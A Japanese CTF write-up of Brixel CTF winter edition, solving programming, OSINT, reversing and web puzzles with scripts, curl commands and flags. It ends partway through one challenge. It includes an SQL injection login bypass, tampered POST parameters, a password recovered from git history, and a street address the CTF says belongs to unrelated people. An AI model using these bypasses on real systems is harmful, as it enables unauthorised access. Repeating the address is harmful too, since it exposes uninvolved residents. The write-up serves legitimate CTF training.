Brixel CTF winter edition Writeup

この大会は2020/12/26 21:00(JST)~2021/1/4 4:00(JST)に開催されました。
今回もチームで参戦。結果は590点で824チーム中59位でした。
自分で解けた問題をWriteupとして書いておきます。

Are you fast enough? (Programming 10)

表示された文字列を1秒未満で答える必要がある。

import requests
import re

url = 'http://timesink.be/speedy/'

s = requests.Session()
r = s.get(url)
body = r.text
print body

pattern = 'rndstring\" align=\"center\">(.+)</div><br>'
m = re.search(pattern, body)
ans = m.group(1)
print ans

payload = {'inputfield': ans}
r = s.post(url, data=payload)
body = r.text
print body

実行結果は以下の通り。

<html><body><div align="center"><h1>Are you fast enough?</h1></div><hr><div align="center">copy the random string below into the input form and submit within 1 second(s) to win!</div><br><br><div id="rndstring" align="center">hCiZMAtLFc</div><br><form name="enterstring" method="POST" action="/speedy/index.php"><div align="center"><input type="text" id="inputfield" name="inputfield"><input type="submit" id="submitbutton" value="enter"></div></form></body></html>
hCiZMAtLFc
<html><body><div align="center"><h1>Are you fast enough?</h1></div><hr><div align="center">You took: 0 second(s) to complete the task.</div><br><div align="center">Congratulations, you completed the task in under 1 seconds!</div><div algin="center">The flag is: <b>brixelCTF{sp33d_d3m0n}</b></div></body></html>
brixelCTF{sp33d_d3m0n}

Keep walking... (Programming 10)

下記のようになるよう計算する。

Set X = 1
Set Y = 1
Set previous answer = 1
answer = X * Y + previous answer + 3
After that => X + 1 and Y + 1

X = 525の時の値を計算する問題。

def calc(n):
    if n == 1:
        return 1 * 1 + 1 + 3
    else:
        return n * n + calc(n - 1) + 3

ans = calc(525)
print ans
48373851

A song... (Programming 10)

esolangのRockstarのようだ。https://codewithrockstar.com/onlineで実行する。実行結果は以下の通り。

brixelCTF{
5
66
7236
34
66
14
}
Program completed in 374 ms
brixelCTF{5667236346614}

An arduino project (Programming 15)

7セグメントディスプレイの形式でLEDがONになる。'0'区切りで1文字として判別する。

def get_key_from_value(d, val):
    for k, v in d.items():
        if v == val:
            return k
    return None

msg = [9, 0, 9, 0, 9, 0, 9, 0, 7, 8, 3, 4, 0, 7, 6, 5, 4, 3, 2, 0, 7, 8, 6, 5, 4, 2, 0, 2, 3, 4, 0, 7, 2, 3, 8, 4, 5, 0, 2, 3, 4, 5, 6, 7, 8, 0, 7, 6, 0, 7, 2, 3, 8, 4, 5, 0, 2, 3, 4, 5, 6, 7, 0, 2, 3, 8, 4, 5, 0, 2, 3, 8, 4, 5, 0, 2, 3, 8, 6, 5, 0]

seg7 = {'0': [2, 3, 4, 5, 6 ,7],
    '1': [6, 7],
    '2': [2, 3, 5, 6, 8],
    '3': [2, 3, 4, 5, 8],
    '4': [3, 4, 7, 8],
    '5': [2, 4, 5, 7, 8],
    '6': [2, 4, 5, 6, 7, 8],
    '7': [2, 3, 4],
    '8': [2, 3, 4, 5, 6, 7, 8],
    '9': [2, 3, 4, 5, 7, 8],
    '.': [9]
}

letters = []
letter = []
for i in range(len(msg)):
    if msg[i] != 0:
        letter.append(msg[i])
    else:
        letters.append(letter)
        letter = []

msg = ''
for seg in letters:
    seg = sorted(seg)
    letter = get_key_from_value(seg7, seg)
    msg += letter

print msg

実行結果は以下の通り。

....406798190332
406798190332

Quizbot (Programming 30)

クイズ1000問に答える必要がある。

1問目:Carl and the Passions changed band name to what ? -> beach boys
2問目:How many rings on the Olympic flag ? -> five

答えが表示され、次へ進めるので、まず答えを収集し、再挑戦し収集した答えを答えていく。

import requests
import re

url = 'http://timesink.be/quizbot/index.php'
pattern1 = '<h4>(.+)</h4>'
pattern2 = 'answer\" align=\"center\">(.+)</div>\n'

s = requests.Session()

r = s.get(url)
body = r.text

print 'Question number 1'
m = re.search(pattern1, body)
que = m.group(1)
print que

answers = []
for i in range(1000):
    payload = {'insert_answer': '', 'submit': 'answer'}
    r = s.post(url, data=payload)
    body = r.text

    m = re.search(pattern2, body)
    ans = m.group(1)
    print ans
    answers.append(ans)

    if i != 999:
        m = re.search(pattern1, body)
        que = m.group(1)
        print 'Question number %d' % (i + 2)
        print que

s.close()
s = requests.Session()

r = s.get(url)
body = r.text

print 'Question number 1'
m = re.search(pattern1, body)
que = m.group(1)
print que

for i in range(1000):
    payload = {'insert_answer': answers[i], 'submit': 'answer'}
    r = s.post(url, data=payload)
    body = r.text

    print answers[i]

    if i != 999:
        m = re.search(pattern1, body)
        que = m.group(1)
        print 'Question number %d' % (i + 2)
        print que
    else:
        print body

実行結果は以下の通り。

               :
Question number 995
In what country is the Eucumbene Dam ?
australia new s wales
Question number 996
Males outnumber females by 5 to 1 in what addiction ?
alcoholism
Question number 997
For what would an Edgar be awarded or won ?
mystery writing
Question number 998
What are salopettes ?
snow proof dungaree trousers
Question number 999
Which society cared - plague victims when physicians left 1665 ?
apothecaries
Question number 1000
Domenikos Theotocopoulos born Crete - died Spain - who ?
el greco
<div align="center">Correct!</div>
Congratulations, you have defeated the mighty QuizB0t, your flag is: brixelCTF{kn0wl3dg3}
brixelCTF{kn0wl3dg3}

A quick search (OSINT 5)

写真の塔の名前を答える。画像検索すればよい。

Eben-Ezer

Manhunt #1 (OSINT 5)

写真を撮った人の名前を答える。EXIFを見てみる。

$ exiftool icecream.jpg 
ExifTool Version Number         : 10.80
File Name                       : icecream.jpg
Directory                       : .
File Size                       : 322 kB
File Modification Date/Time     : 2020:12:27 11:05:18+09:00
File Access Date/Time           : 2020:12:27 11:06:19+09:00
File Inode Change Date/Time     : 2020:12:27 11:05:18+09:00
File Permissions                : rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
Exif Version                    : 0231
Components Configuration        : Y, Cb, Cr, -
Flashpix Version                : 0100
Owner Name                      : Johnny Dorfmeister
Image Width                     : 1536
Image Height                    : 2048
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1536x2048
Megapixels                      : 3.1
Johnny_Dorfmeister

Manhunt #2 (OSINT 5)

Johnny Dorfmeisterの最後の雇用者を答える。以下のページが見つかった。

https://www.linkedin.com/in/johnny-dorfmeister-1135a6179/?originalSubdomain=be

以前の勤務先が載っている。

pishapasha

Manhunt #3 (OSINT 5)

Johnny Dorfmeisterの好きな食べ物を答える。Johnny Dorfmeisterのインスタグラムを見つけた。

https://www.instagram.com/johnnydorfmeister/

コメントが入っている写真のコメントを見てみる。
f:id:satou-y:20210111124333p:plain

macaroni

Manhunt #5 (OSINT 5)

Twitterアカウントに削除されたページについて話しているが、そこにフラグに関係するものがあるようなことが記載されている。
https://twitter.com/johnnydorfmeis1にテストページのURLが載っている。

http://www.howitshould.be/test-page

そこには何も情報はない。Internet Archiveで調べる。2019/1/15のものがアーカイブされていて、フラグが載っていた。
f:id:satou-y:20210111125056p:plain

w@yb@ck!

Manhunt #6 (OSINT 5)

Johnny DorfmeisterはWebデザイナーで、そのお客さんが言っていることがフラグに関係するようだ。それを英語で答える必要がある。
http://www.howitshould.be/でお客さんのコメントが載っている。ロシア語でこう書いてある。

Есть свободный флаг: поэзия

英語に翻訳する。

There is a free flag: poetry
poetry

Manhunt #7 (OSINT 10)

Johnny Dorfmeisterの住所を答える。http://www.howitshould.be/contact/のページで適当に入力し、送信すると、以下の情報が表示された。
f:id:satou-y:20210111125650p:plain

Thanks for contacting me, an e-mail is on the way with more details.

It might happen that the mail server is broken again, if so, please send a letter with the job description to:

Johnny Dorfmeister
Melkvoetstraat 48
3500 Hasselt

Seriously, don't send anything to these people, I don't know them, it's only for the CTF!
brixelCTF{Melkvoetstraat_48_3500_Hasselt}

Manhunt #8 (OSINT 5)

Johnny Dorfmeisterの住まいの壁に2013年に書かれていたものを答える。Google Mapで「Melkvoetstraat 48 3500 Hasselt」を調べると、場所はすぐにわかる。ストリートビューで2013年7月のものにすると、壁に落書きがある。
f:id:satou-y:20210111125843p:plain

JUST_MARRIED

Manhunt #9 (OSINT 15)

認証に関連する場所にフラグがあるようだ。http://www.howitshould.be/のページの下の方にAuthのリンクがある。

http://authentication.howitshould.be/auth.php

ここにアクセスし、HTMLソースを見ると、コメントにこう書いてある。

<!-- Authentication script by Johnny Dorfmeister. https://github.com/JohnnyDorfmeister/authentication-requests !-->

https://github.com/JohnnyDorfmeister/authentication-requestsにアクセスする。
ソースコードを見ても、usernameが"johnny"であることがわかっても、パスワードはわからない。更新履歴を見ると、パスワードが"letmein"であることがわかる。

$ curl http://authentication.howitshould.be/auth.php -d 'username=johnny&password=letmein'
<html>
<body>
<title>Auth</title>
<!-- Authentication script by Johnny Dorfmeister. https://github.com/JohnnyDorfmeister/authentication-requests !-->
congratulations, the flag is g1ttern00b
g1ttern00b

Physical pentest setup (OSINT 10)

ベルギーのHalen市の地方警察署が使っているテレコムプロバイダーを答える。Halenのことを調べると、以下のページが見つかる。

https://wikitravel.org/en/Halen

ここからGoogle mapを使いながら調べると、Halen市の地方警察署の住所がわかる。

Sportlaan 2b, 3545 Halen, België

さらに以下のFaceboolのページが見つかる。

https://www.facebook.com/Wijkpolitie-Halen-111956283819044/

電話番号が載っている。

+32 011 938 980

以下のサイトの「Database with reserved and allocated numbers」から、割り当てられている電話番号からプロバイダがわかる一覧表をダウンロードできる。

https://www.bipt.be/operators/obtaining-and-managing-numbers

「PQYZ」シートのB列が11938のデータを見ると、「COLT Technology Services N.V.」と書いてある。一応一般的な名称を調べる。

Colt Technology Services NV
Colt_Technology_Services_NV

Visit Limburg #1 (OSINT 10)

自転車ネットワークのある地点からある地点までのノードの合計を答える。https://fietsnet.be/でルートを調べる。

Start 557
End 341

f:id:satou-y:20210111131500p:plain
経路にある数字の和を計算する。

557 + 11 + 558 + 65 + 533 + 532 + 64 + 251 + 534 + 29 + 30 + 250 + 509 + 73 + 548 + 74 + 79 + 305 + 300 + 316 + 311 + 307 + 518 + 310 + 341 = 7405
7405

Visit Limburg #2 (OSINT 20)

3つの場所の三角形の真ん中にある橋の下に、2013年に書き込まれた日付(形式:#.##.##、#は数字)を答える。
最初の2つの場所は、州内の炭鉱の2つの坑道であり、互いに最も遠い場所にあり、3番目の場所は、添付のかすんでいる写真が撮影された場所とのこと。
「limburg belgium mineshaft map」でマップ検索する。一番遠い炭鉱の坑道はパールとマーメヘレンであることがわかる。
次に添付の画像について調べる。かすんで見えるが、かろうじて協会に見える。「limburg belgium church」で画像検索してみる。以下のURLにある風景と似ている。

https://www.discoveringbelgium.com/the-see-through-church-of-borgloon/

Google mapでは、「Doorkijkkerk - Reading between the lines」の名称でポイントされている。
f:id:satou-y:20210111132728p:plain
この三角形で中心のあたりに橋がある。2013年6月にしてストリートビューを見る。
f:id:satou-y:20210111132755p:plain

7.05.09

punchcard (Old tech10)

https://pastebin.com/aL9Hd4ntを参考に解読する。

from PIL import Image
import sys
import os

IBM_MODEL_029_KEYPUNCH = [
"    /&-0123456789ABCDEFGHIJKLMNOPQR/STUVWXYZ:#@'=x`.<(+|!$*);^~,%_>? |",
"12 / O           OOOOOOOOO                        OOOOOO             |",
"11|   O                   OOOOOOOOO                     OOOOOO       |",
" 0|    O                           OOOOOOOOO                  OOOOOO |",
" 1|     O        O        O        O                                 |",
" 2|      O        O        O        O       O     O     O     O      |",
" 3|       O        O        O        O       O     O     O     O     |",
" 4|        O        O        O        O       O     O     O     O    |",
" 5|         O        O        O        O       O     O     O     O   |",
" 6|          O        O        O        O       O     O     O     O  |",
" 7|           O        O        O        O       O     O     O     O |",
" 8|            O        O        O        O OOOOOOOOOOOOOOOOOOOOOOOO |",
" 9|             O        O        O        O                         |",
"  |__________________________________________________________________|",
]

def getRow(q):
    out = ''
    for i in range(len(IBM_MODEL_029_KEYPUNCH)):
        out += IBM_MODEL_029_KEYPUNCH[i][q]
    return out

def check(n, need):
    for i in range(len(need)):
        if(need[i] != getRow(n)[i+1]):
            return False
    return True

def find(need):
    for i in range(5, 69):
        if(check(i, need)):
            return i
    return -1

im = Image.open('punchcard.png')
pix = im.load()

def isWhite(a):
    for q in a:
        if q != 0:
            return False
    return True

for x in range(2, 82):
    column = ''
    for y in range(12):
        #print x*9 + 9, y*27 + 25
        if(isWhite(pix[x*9 + 9, y*27 + 25])):
            column += ("O")
        else:
            column += (" ")
    sys.stdout.write(IBM_MODEL_029_KEYPUNCH[0][find(column)])
print ''

実行結果は以下の通り。

THE FLAG IS BRIXELCTF(M41NFR4M3) -- THANK YOU FOR PLAYING BRIXELCTF --        1A
BRIXELCTF(M41NFR4M3)

Goodbye old friend (Old tech 15)

swfファイルが添付されている。JPEXS Free Flash Decompilerでデコンパイルする。scripts - DoInitActionを見る。

ConstantPool "Goodbye flash old friend, you gave me loads of entertainment. The flag is brixelCTF{n0_m0r3_5upp0rt}"
Push "Goodbye flash old friend, you gave me loads of entertainment. The flag is brixelCTF{n0_m0r3_5upp0rt}"
Trace
brixelCTF{n0_m0r3_5upp0rt}

The tape (Old tech 20)

いろいろ調べた結果、commodore 64 Tapeのようだ。wavprgを使い、prgに変換する。C64 Foreverでprgをrp9に変換し、エミュレートすると、フラグが表示された。
f:id:satou-y:20210111133234p:plain

BASIC

Cookieee! (Reverse engineering, cracking 15)

うさみみハリケーンでメモリ上の回数を確認する。クリック数を20回まで挙げると、アドレスが限定されるため、それを10000000に置換する。これでフラグが表示された。
f:id:satou-y:20210111133424p:plain

brixelCTF{m3m0ry}

no peeking! (Reverse engineering, cracking 15)

$ file noPEEKing.exe 
noPEEKing.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyで開き、デコンパイルする。

namespace noPEEKing
{
	// Token: 0x02000008 RID: 8
	[DesignerGenerated]
	public class Form1 : Form
	{
                        :
                        :
		public object showFlag()
		{
			Interaction.MsgBox("Hey, stop looking at my innards!", MsgBoxStyle.OkOnly, null);
			Interaction.MsgBox("The flag is brixelCTF{d0tP33K}", MsgBoxStyle.OkOnly, null);
			Interaction.MsgBox("Happy holidays!", MsgBoxStyle.OkOnly, null);
			return true;
		}
                        :
                        :
brixelCTF{d0tP33K}

registerme.exe (Reverse engineering, cracking 15)

Ghidraでデコンパイルする。

void __cdecl FUN_00402b50(uint param_1)

{
  code *pcVar1;
  undefined4 uVar2;
  int iVar3;
  int *piVar4;
  int *piVar5;
  undefined4 *in_FS_OFFSET;
  undefined4 local_40;
  wchar_t *local_38;
  undefined4 local_30 [4];
  undefined4 local_20;
  undefined4 local_1c;
  undefined4 uStack24;
  undefined *puStack20;
  undefined *local_10;
  undefined *local_c;
  uint local_8;
  
  puStack20 = &LAB_004010e6;
  uStack24 = *in_FS_OFFSET;
  *in_FS_OFFSET = &uStack24;
  local_10 = &stack0xffffffa4;
  local_c = &DAT_004010d0;
  local_8 = param_1 & 1;
  piVar5 = (int *)(param_1 & 0xfffffffe);
  piVar4 = piVar5;
  (**(code **)(*piVar5 + 4))(piVar5);
  local_1c = 0;
  local_20 = 0;
  local_30[0] = 0;
  local_38 = L"activation.key";★
  local_40 = 8;
  __vbaVarDup();
  rtcDir(local_30,0);
  uVar2 = __vbaStrMove();
  iVar3 = __vbaStrCmp(&DAT_00401bfc,uVar2);
  __vbaFreeStr();
  __vbaFreeVar(piVar4);
  if (iVar3 == 0) {
    uVar2 = (**(code **)(*piVar5 + 0x304))(piVar5);
    piVar4 = (int *)__vbaObjSet(&local_20,uVar2);
    iVar3 = (**(code **)(*piVar4 + 0x6c))(piVar4,0xff);
    if (iVar3 < 0) {
      __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x6c);
    }
    __vbaFreeObj();
    uVar2 = (**(code **)(*piVar5 + 0x304))(piVar5);
    piVar4 = (int *)__vbaObjSet(&local_20,uVar2);
    iVar3 = (**(code **)(*piVar4 + 0x54))(piVar4,L"NOT REGISTERED!");
    if (iVar3 < 0) {
      __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x54);
    }
    pcVar1 = __vbaFreeObj_exref;
    __vbaFreeObj();
    uVar2 = (**(code **)(*piVar5 + 0x300))(piVar5);
    piVar4 = (int *)__vbaObjSet(&local_20,uVar2);
    iVar3 = (**(code **)(*piVar4 + 0x94))(piVar4,0);
  }
  else {
    uVar2 = (**(code **)(*piVar5 + 0x304))();
    piVar4 = (int *)__vbaObjSet(&local_20,uVar2);
    iVar3 = (**(code **)(*piVar4 + 0x6c))(piVar4,0xff00);
    if (iVar3 < 0) {
      __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x6c);
    }
    __vbaFreeObj();
    uVar2 = (**(code **)(*piVar5 + 0x304))(piVar5);
    piVar4 = (int *)__vbaObjSet(&local_20,uVar2);
    iVar3 = (**(code **)(*piVar4 + 0x54))(piVar4,L"REGISTERED!");
    if (iVar3 < 0) {
      __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c00,0x54);
    }
    pcVar1 = __vbaFreeObj_exref;
    __vbaFreeObj();
    uVar2 = (**(code **)(*piVar5 + 0x300))(piVar5);
    piVar4 = (int *)__vbaObjSet(&local_20,uVar2);
    iVar3 = (**(code **)(*piVar4 + 0x94))(piVar4,0xffffffff);
  }
  if (iVar3 < 0) {
    __vbaHresultCheckObj(iVar3,piVar4,&DAT_00401c2c,0x94);
  }
  (*pcVar1)();
  return;
}

VBで書かれているようなコード。activation.keyがあれば、registerできるかもしれないので、試す。
Statusが「REGISTERED!」と表示された。Show Flagボタンを押すと、フラグが表示された。
f:id:satou-y:20210111133709p:plain

brixelCTF{f1l34cc3ss}

android app (Reverse engineering, cracking 20)

Bytecode Viewerでデコンパイルする。

public class Screen1 extends Form implements Runnable {

                :
                :

   public Object Button1$Click() {
      runtime.setThisForm();
      Object var1;
      if (runtime.callYailPrimitive(runtime.yail$Mnequal$Qu, LList.list2(runtime.getProperty$1(Lit23, Lit18), "brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}"), Lit30, "=") != Boolean.FALSE) {
         var1 = runtime.callYailPrimitive(runtime.open$Mnanother$Mnscreen, LList.list1("Screen2"), Lit31, "open another screen");
      } else {
         var1 = runtime.callYailPrimitive(runtime.open$Mnanother$Mnscreen, LList.list1("Screen3"), Lit32, "open another screen");
      }

      return var1;
   }

                :
                :
brixelCTF{th3_4ndr0ids_y0u_4r3_l00k1ng_f0r}

Easy (Internet 5)

https://ctf.brixel.space/のHTMLソースを見ると、コメントにフラグが書いてあった。

<!-- hidden flag: 'brixelCTF{notsosecret}' -->
brixelCTF{notsosecret}

Hidden Code (Internet 5)

konami codeを入力したら、何かが起こるらしい。フラグは浮かび上がるキャラクターの名前。konami codeの上上下下左右左右baを入力したら、マリオが現れた。
f:id:satou-y:20210111134206p:plain

Mario

robotopia (Internet 5)

http://timesink.be/robotopia/robots.txtにアクセスすると、フラグが書いてあった。

User-agent: * Disallow: /
#you found a flag! it is: brixelCTF{sadr0b0tz}
brixelCTF{sadr0b0tz}

Discord (Internet 5)

Discordに入ると、#rulesチャネルのメッセージに記載のフラグの例が書いてあった。

brixelCTF{th4nk5_f0r_r34d1ng_th3_rulz}

login1 (Internet 5)

HTMLソースのスクリプトにこう書いてある。

	function verify() {
		password = document.getElementById("the_password").value;
		if(password == "brixelCTF{w0rst_j4v4scr1pt_3v3r!}")
		{
			alert("Password Verified");
		}
		else 
		{
		alert("Incorrect password");
		}
	}

パスワードとして、フラグと比較していることがわかる。

brixelCTF{w0rst_j4v4scr1pt_3v3r!}

login2 (Internet 5)

HTMLソースのスクリプトにこう書いてある。

	function verify() {
		password = document.getElementById("the_password").value;
		split = 6;
		if (password.substring(0, split) == 'brixel') 
		{
			if (password.substring(split*6, split*7) == '180790') 
			{
				if (password.substring(split, split*2) == 'CTF{st') 
				{
					if (password.substring(split*4, split*5) == '5cr1pt') 
					{
						if (password.substring(split*3, split*4) == 'd_j4v4') 
						{
							if (password.substring(split*5, split*6) == '_h3r3.') 
							{
								if (password.substring(split*2, split*3) == '1ll_b4') 
								{
									if (password.substring(split*7, split*8) == '54270}') 
									{
										alert("Password Verified")
									}
								}
							}
						}
					}
				}
			}
		}
		else 
		{
		alert("Incorrect password");
		}
	}

パスワードとして、フラグと比較していることがわかる。

brixelCTF{st1ll_b4d_j4v45cr1pt_h3r3.18079054270}

login3 (Internet 5)

HTMLソースのスクリプトにこう書いてある。

	function verify() {
		username = document.getElementById("the_username").value;
		password = document.getElementById("the_password").value;
		if(username == readTextFile("username.txt"))
		{
			if(password == readTextFile("password.txt"))
			{
				alert("Password Verified");
			} else {
				alert("Incorrect password");
			}
		}else{
			alert("Incorrect username");
		}
		
	}
    function readTextFile(filePath) 
    {      
		var result = null;
		var xmlhttp = new XMLHttpRequest();
		xmlhttp.open("GET", filePath, false);
		xmlhttp.send();
		if (xmlhttp.status==200) {
			result = xmlhttp.responseText;
		}
		return result;
    } 

http://timesink.be/login3/password.txtにアクセスする。

brixelCTF{n0t_3v3n_cl05e_t0_s3cur3!}

login4 (Internet 5)

HTMLソースのスクリプトにこう書いてある。

	function verify() {
		username = document.getElementById("the_username").value;
		password = document.getElementById("the_password").value;
		if(username == atob(readTextFile("username.txt")))
		{
			if(password == atob(readTextFile("password.txt")))
			{
				alert("Password Verified");
			} else {
				alert("Incorrect password");
			}
		}else{
			alert("Incorrect username");
		}
		
	}
    function readTextFile(filePath) 
    {      
		var result = null;
		var xmlhttp = new XMLHttpRequest();
		xmlhttp.open("GET", filePath, false);
		xmlhttp.send();
		if (xmlhttp.status==200) {
			result = xmlhttp.responseText;
		}
		return result;
    } 

http://timesink.be/login4/password.txtにアクセスする。

YnJpeGVsQ1RGe2V2ZW5fYmFzZTY0X3dvbnRfbWFrZV95b3Vfc2VjdXJlfQ==

base64デコードする。

$ echo YnJpeGVsQ1RGe2V2ZW5fYmFzZTY0X3dvbnRfbWFrZV95b3Vfc2VjdXJlfQ== | base64 -d
brixelCTF{even_base64_wont_make_you_secure}
brixelCTF{even_base64_wont_make_you_secure}

Browsercheck (Internet 10)

Ask Jeeves crawlerで調べると、対応するUserAgentが複数ある。その中の一つを使ってアクセスする。

$ curl -A "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)" http://timesink.be/browsercheck/
<html><body><div align="center"><h1>congratulations</h1>the flag is 'brixelCTF{askwho?}'</div></body></html>
brixelCTF{askwho?}

Readme (Internet 10)

Guideのページを見ると、こう書いてある。

Enter 'freepoints' without the quotes in the readme challenge to claim them.
freepoints

SnackShack awards (Internet 10)

Cafetaria 't pleintjeに5ポイント投票すると、POSTパラメータは以下のようになってアクセスすることになる。

score_bammens: 0
score_omejan: 0
score_fontainas: 0
score_tpleintje: 5
score_frietuurtje: 0

WebUIでは5ポイントまでしか投票できないので、curlで5000ポイントを投票する。

$ curl -d 'score_bammens=0&score_omejan=0&score_fontainas=0&score_tpleintje=5000&score_frietuurtje=0' http://timesink.be/snackshackaward/stemmen.php
<html>
<title>SnackShack of the year contest</title>
<body>
Well done! The flag is brixelCTF{bakpau}</body></html>
brixelCTF{bakpau}

Flat earth (Internet 10)

管理パネル http://timesink.be/flatearth/admin.php にアクセスすると、ログイン画面になる。SQLインジェクションをしてみる。以下の通り入力し、ログインしてみる。

Username: ' or 1=1 #
Password: なし

するとフラグが表示された。

That should do the trick, the flag is brixelCTF{aroundtheglobe}
brixelCTF{aroundtheglobe}

Hiding in the background (Internet 10)

https://ctf.brixel.space/のページの背景となっているctfbg.svgをダウンロードする。

    <text
       xml:space="preserve"
       style="font-style:normal;font-weight:normal;font-size:10.5833px;line-height:1.25;font-family:sans-serif;fill:#000000;fill-opacity:1;stroke:none;stroke-width:0.264583"
       x="62.649639"
       y="138.42255"
       id="text1434"><tspan
         sodipodi:role="line"
         id="tspan1432"
         x="62.649639"
         y="138.42255"
         style="fill:#000000;fill-opacity:1;stroke-width:0.264583">brixelCTF{happy_holidays}</tspan></text>

この中にフラグが含まれていた。

brixelCTF{happy_holidays}

login5 (Internet 10)

HTMLソースのスクリプトにこう書いてある。

var _0x2c58=['getElementById','Incorrect\x20password','Password\x20Verified','length','substr','the_password','abcdefghijklmnopqrstuvwxyz1234567890!{}'];(function(_0x47871f,_0x1326ab){var _0x2c58be=function(_0x58abc9){while(--_0x58abc9){_0x47871f['push'](_0x47871f['shift']());}};_0x2c58be(++_0x1326ab);}(_0x2c58,0x91));var _0x58ab=function(_0x47871f,_0x1326ab){_0x47871f=_0x47871f-0x192;var _0x2c58be=_0x2c58[_0x47871f];return _0x2c58be;};function verify(){var _0x41653e=_0x58ab;password=document[_0x41653e(0x194)](_0x41653e(0x192))['value'],alphabet=_0x41653e(0x193),newpassword=alphabet[_0x41653e(0x198)](0x1,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x11,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x8,0x1),newpassword=newpassword+alphabet['substr'](0x17,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x4,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0xb,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x2,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x13,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x5,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)]-0x2,0x1),newpassword=newpassword+alphabet['substr'](alphabet[_0x41653e(0x197)]-0x4,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x1,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x5,0x1),newpassword=newpassword+alphabet['substr'](0x14,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x12,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x2,0x1),newpassword=newpassword+alphabet['substr'](0x0,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x13,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0x8,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)]-0x4,0x1),newpassword=newpassword+alphabet[_0x41653e(0x198)](0xd,0x1),newpassword=newpassword+alphabet['substr'](alphabet[_0x41653e(0x197)]-0x1,0x1),password==newpassword?alert(_0x41653e(0x196)):alert(_0x41653e(0x195));}

整形する。

['getElementById', 'Incorrect\x20password', 'Password\x20Verified', 'length', 'substr', 'the_password', 'abcdefghijklmnopqrstuvwxyz1234567890!{}'];
(function(_0x47871f, _0x1326ab) {
    var _0x2c58be = function(_0x58abc9) {
        while (--_0x58abc9) {
            _0x47871f['push'](_0x47871f['shift']());
        }
    };
    _0x2c58be(++_0x1326ab);
}(_0x2c58, 0x91));
var _0x58ab = function(_0x47871f, _0x1326ab) {
    _0x47871f = _0x47871f - 0x192;
    var _0x2c58be = _0x2c58[_0x47871f];
    return _0x2c58be;
};

function verify() {
    var _0x41653e = _0x58ab;
    password = document[_0x41653e(0x194)](_0x41653e(0x192))['value'], alphabet = _0x41653e(0x193), newpassword = alphabet[_0x41653e(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x11, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x8, 0x1), newpassword = newpassword + alphabet['substr'](0x17, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x4, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0xb, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x2, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x5, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)] - 0x2, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x41653e(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x1, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x5, 0x1), newpassword = newpassword + alphabet['substr'](0x14, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x12, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x2, 0x1), newpassword = newpassword + alphabet['substr'](0x0, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x13, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0x8, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](alphabet[_0x41653e(0x197)] - 0x4, 0x1), newpassword = newpassword + alphabet[_0x41653e(0x198)](0xd, 0x1), newpassword = newpassword + alphabet['substr'](alphabet[_0x41653e(0x197)] - 0x1, 0x1), password == newpassword ? alert(_0x41653e(0x196)) : alert(_0x41653e(0x195));
}

デベロッパーツールのConsoleで値を見て、確認する。

> alphabet = _0x58ab(0x193)
< "abcdefghijklmnopqrstuvwxyz1234567890!{}"

